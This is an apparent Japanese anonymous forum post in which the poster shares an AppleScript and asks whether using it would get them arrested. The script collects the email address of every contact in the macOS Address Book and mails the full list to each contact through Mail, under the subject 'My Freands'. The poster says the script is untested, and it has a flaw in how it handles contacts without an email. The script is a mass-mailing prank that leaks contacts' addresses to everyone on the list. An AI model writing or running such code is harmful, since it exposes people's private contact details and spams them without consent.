07/03/02 00:22:08 GT7xtDhH0
ばかにされてるーーー！！（＞＜）でもいいこと聞いた。
アドレスブックに登録してるメアドにメアドの一覧を送ります！！！
これで大丈夫？逮捕じゃないのね？
set l to {}
tell application "Address Book"
set a to people
repeat with p in a
try
set c to value of email 1 of p as string
end try
set end of l to c
end repeat
end tell
set cont to separateEmail(l)
repeat with e in l
tell application "Mail"
set m to make new outgoing message
make new to recipient at end of to recipients of m with properties {address:e}
set content of m to my cont
set subject of m to "My Freands"
send m
end tell
end repeat
on separateEmail(l)
set r to ""
repeat with i in l
set r to r & (ASCII character (10)) & i
end repeat
return r
end separateEmail
動作確認は怖くてしてないよ！